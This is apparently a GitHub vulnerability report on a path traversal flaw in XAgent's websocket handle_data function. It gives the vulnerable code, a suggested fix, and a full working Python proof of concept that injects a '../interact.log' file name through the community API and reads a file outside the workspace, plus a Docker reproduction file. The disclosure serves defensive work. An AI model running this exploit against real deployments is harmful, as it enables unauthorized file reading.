#437·XAgent

[Vulnerability] Path Traversal in /ws/base endpoint

Author: Usman-OliveiraCreated Aug 23, 2026Updated Aug 23, 2026
Labelsbug

Vulnerability report: XAgent path traversal

Affected product

Vendor: OpenBMB

Product: XAgent

Vulnerability component: MainServer.send_data function in XAgentServer/application/websockets/base.py

Version: 3619c25855f878481ddb893709c1e30d76aff794

Vulnerability summary

MainServer.send_data() sends pending interaction records to the websocket client and calls handle_data() to enrich notebook image outputs. The handle_data() function treats file_name from the stored Raw record as a trusted workspace file name, joins it into a filesystem path, then reads and returns the file content as base64.

The vulnerable function call chain is:

MainServer.send_data()
  -> handle_data()

The vulnerable data flow is:

send_data function:
  InteractionCRUD.get_next_send
  -> rows
  -> row

handle_data function:
  row
  -> row.data
  -> data["using_tools"]
  -> using_tools["tool_output"]
  -> tool_output
  -> output
  -> output["file_name"]
  -> file_name
  -> file_path

An authenticated user can first pollute the database through the /conv/community API by submitting a crafted raws JSON payload. The inserted Raw record can contain data.using_tools.tool_output[*].file_name with a path traversal value such as ../interact.log. After that, connecting to /ws/base/{interaction_id} and sending a normal websocket message triggers send_data(), which fetches the crafted Raw record and passes it into handle_data().

The vulnerable code is in XAgentServer/application/websockets/common.py:

python
file_path = os.path.join(root_dir, "workspace", file_name)
if os.path.exists(file_path):
    try:
        with open(file_path, "rb") as f:
            png_base64 = base64.b64encode(
                f.read()).decode("utf-8")
    except Exception:
        pass

Because file_name is not restricted to a basename and the resolved path is not checked against the workspace directory, ../ escapes the workspace and allows reading files outside the intended directory.

Suggested fix

Add a security check in handle_data function. Code snippet:

python
for output in tool_output:
    ...
    workspace = os.path.realpath(os.path.join(root_dir, "workspace"))
    file_path = os.path.realpath(os.path.join(workspace, file_name))
    if not file_path.startswith(workspace + os.sep):
        print("path traversal detected !")
        continue

POC

Prerequisites:

The PoC uses the real XAgent Docker services, MySQL, Redis, the /conv/community HTTP API, and the /ws/base/{interaction_id} websocket endpoint. The helper compose file avoids host MySQL port conflicts and pins MySQL to 8.0 because the project compose file uses the floating mysql image.

bash
cd your-path-to/XAgent

Step 1: Start XAgent and the required databases.

bash
sudo docker compose -p xagentrepro \
  -f your-path-to/poc/xagent-compose-repro.yml \
  up -d

Check that the services are running:

bash
sudo docker compose -p xagentrepro \
  -f your-path-to/poc/xagent-compose-repro.yml \
  ps

Expected important services:

xagentrepro-XAgentServer-1        Up
xagentrepro-xagent-mysql-1        healthy
xagentrepro-xagent-redis-1        healthy

The backend listens on:

http://127.0.0.1:8090
ws://127.0.0.1:8090/ws/base/{interaction_id}

Step 2: Send the PoC payload through the community API and trigger send_data().

bash
python3 your-path-to/poc/community_ws_poc.py

The script performs both actions:

POST /conv/community
  -> inserts a crafted interaction and Raw record into MySQL through the HTTP API

websocket /ws/base/{interaction_id}
  -> sends a normal type=data message
  -> starts the scheduler
  -> triggers send_data()
  -> send_data() fetches the malicious Raw row
  -> handle_data() reads workspace/../interact.log

The crafted Raw record contains:

json
{
  "data": {
    "using_tools": {
      "tool_name": "PythonNotebook_execute_cell",
      "tool_output": [
        {
          "file_name": "../interact.log"
        }
      ]
    }
  },
  "include_pictures": true,
  "is_send": false
}

Successful output contains:

community_status 200 {"data":null,"success":true,"message":"success"}
"interaction_id": "..."
...
read_content: 2026-... 
poc_success True

read_content contains the contents of interact.log, which is outside the workspace directory. This confirms that handle_data() read a path traversed by ../interact.log.

reference related files

The PoC files are listed below:

  • community_ws_poc.py
python
import asyncio
import base64
import datetime
import io
import json
import time
import uuid
import zipfile

import requests
import websockets


BASE = "http://127.0.0.1:8090"
USER = "guest"
TOKEN = "xagent"


def make_empty_zip():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED):
        pass
    buf.seek(0)
    return buf


def insert_via_community():
    interaction_id = uuid.uuid4().hex
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    malicious_node = uuid.uuid4().hex
    finish_node = uuid.uuid4().hex

    interaction = {
        "interaction_id": interaction_id,
        "user_id": USER,
        "create_time": now,
        "update_time": now,
        "description": "community-poc",
        "agent": "",
        "mode": "manual",
        "file_list": [],
        "recorder_root_dir": "",
        "status": "ready",
        "message": "ready...",
        "current_step": "-1",
        "is_deleted": False,
        "call_method": "web",
    }
    raws = [
        {
            "node_id": malicious_node,
            "interaction_id": interaction_id,
            "current": "community-poc",
            "step": 0,
            "data": {
                "using_tools": {
                    "tool_name": "PythonNotebook_execute_cell",
                    "tool_input": "{}",
                    "tool_output": [{"file_name": "../interact.log"}],
                    "tool_status_code": "TOOL_CALL_SUCCESS",
                }
            },
            "file_list": [],
            "status": "inner",
            "do_interrupt": False,
            "wait_seconds": 0,
            "ask_for_human_help": False,
            "create_time": now,
            "update_time": now,
            "is_deleted": False,
            "is_human": False,
            "human_data": {},
            "human_file_list": [],
            "is_send": False,
            "is_receive": False,
            "include_pictures": True,
        },
        {
            "node_id": finish_node,
            "interaction_id": interaction_id,
            "current": "finish",
            "step": 1,
            "data": {"done": True},
            "file_list": [],
            "status": "finished",
            "do_interrupt": False,
            "wait_seconds": 0,
            "ask_for_human_help": False,
            "create_time": now,
            "update_time": now,
            "is_deleted": False,
            "is_human": False,
            "human_data": {},
            "human_file_list": [],
            "is_send": False,
            "is_receive": False,
            "include_pictures": False,
        },
    ]

    z = make_empty_zip()
    resp = requests.post(
        BASE + "/conv/community",
        data={
            "user_id": USER,
            "token": TOKEN,
            "user_name": "guest",
            "interaction": json.dumps(interaction),
            "raws": json.dumps(raws),
        },
        files={"files": ("workspace.zip", z.getvalue(), "application/zip")},
        timeout=20,
    )
    print("community_status", resp.status_code, resp.text)
    resp.raise_for_status()
    print("interaction_id", interaction_id)
    print("malicious_node", malicious_node)
    return interaction_id


async def trigger_ws(interaction_id):
    url = (
        f"ws://127.0.0.1:8090/ws/base/{interaction_id}"
        f"?user_id={USER}&token={TOKEN}&description=community-poc"
    )
    async with websockets.connect(url, ping_interval=None) as ws:
        first = await ws.recv()
        print("ws_first", first[:500])
        await ws.send(
            json.dumps(
                {
                    "type": "data",
                    "args": {"goal": "trigger send_data only"},
                    "agent": "",
                    "mode": "manual",
                    "file_list": [],
                }
            )
        )
        deadline = time.time() + 20
        while time.time() < deadline:
            msg = await asyncio.wait_for(ws.recv(), timeout=deadline - time.time())
            print("ws_msg", msg)
            obj = json.loads(msg)
            outputs = (
                ((obj.get("data") or {}).get("using_tools") or {}).get("tool_output")
                or []
            )
            if outputs and isinstance(outputs[0], dict) and outputs[0].get("file_data"):
                decoded = base64.b64decode(outputs[0]["file_data"]).decode(
                    errors="replace"
                )
                print("read_content:", decoded[:300])
                print("poc_success", "Receive connection" in decoded or "Send data" in decoded)
                return
        print("poc_success", False)


if __name__ == "__main__":
    iid = insert_via_community()
    asyncio.run(trigger_ws(iid))
  • xagent-compose-repro.yml
yaml
services:
  ToolServerManager:
    image: xagentteam/toolserver-manager:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/ToolServerManager/Dockerfile
    volumes:
      - toolserverconfig:/app/assets/config
      - /var/run/docker.sock:/var/run/docker.sock
    environment:
      DB_HOST: db
      DB_PORT: 27017
      DB_USERNAME: admin
      DB_PASSWORD: xagentmongodb
      DB_COLLECTION: TSM
    depends_on:
      - db
    command: ["--workers", "2", "-t", "600"]

  ToolServerNode:
    image: xagentteam/toolserver-node:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/ToolServerNode/Dockerfile
    volumes:
      - toolserverconfig:/app/assets/config

  db:
    image: mongo
    volumes:
      - xagentmongodb:/data/db
    environment:
      MONGO_INITDB_ROOT_USERNAME: admin
      MONGO_INITDB_ROOT_PASSWORD: xagentmongodb
    logging:
      driver: "none"

  XAgentServer:
    image: xagentteam/xagent-server:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/XAgentServer/Dockerfile
    env_file:
      - your-path-to/XAgent/.env
    environment:
      - TOOLSERVER_URL=http://ToolServerManager:8080
      - MYSQL_DB_URL=mysql+pymysql://root:xagent@xagent-mysql:3306/xagent
      - REDIS_HOST=xagent-redis
    volumes:
      - your-path-to/XAgent/assets:/app/assets:ro
    ports:
      - "5173:5173"
      - "8090:8090"
    depends_on:
      xagent-mysql:
        condition: service_healthy
      xagent-redis:
        condition: service_healthy

  xagent-mysql:
    image: mysql:8.0
    command:
      - --default-authentication-plugin=caching_sha2_password
      - --character-set-server=utf8mb4
      - --collation-server=utf8mb4_unicode_ci
    environment:
      MYSQL_ROOT_PASSWORD: xagent
    volumes:
      - your-path-to/XAgent/XAgentServer/database/sql:/docker-entrypoint-initdb.d
    healthcheck:
      test: ["CMD-SHELL", "mysql -h localhost -u root -pxagent -e 'SELECT 1'"]
      timeout: 20s
      retries: 20

  xagent-redis:
    image: redis
    command: redis-server --requirepass xagent
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 5s
      timeout: 3s
      retries: 20

volumes:
  xagentmongodb:
  toolserverconfig:
    name: xagentrepro_toolserverconfig
    driver: local
    driver_opts:
      type: none
      device: your-path-to/XAgent/assets/config
      o: bind

networks:
  default:
    name: xagent-repro-network
    driver: bridge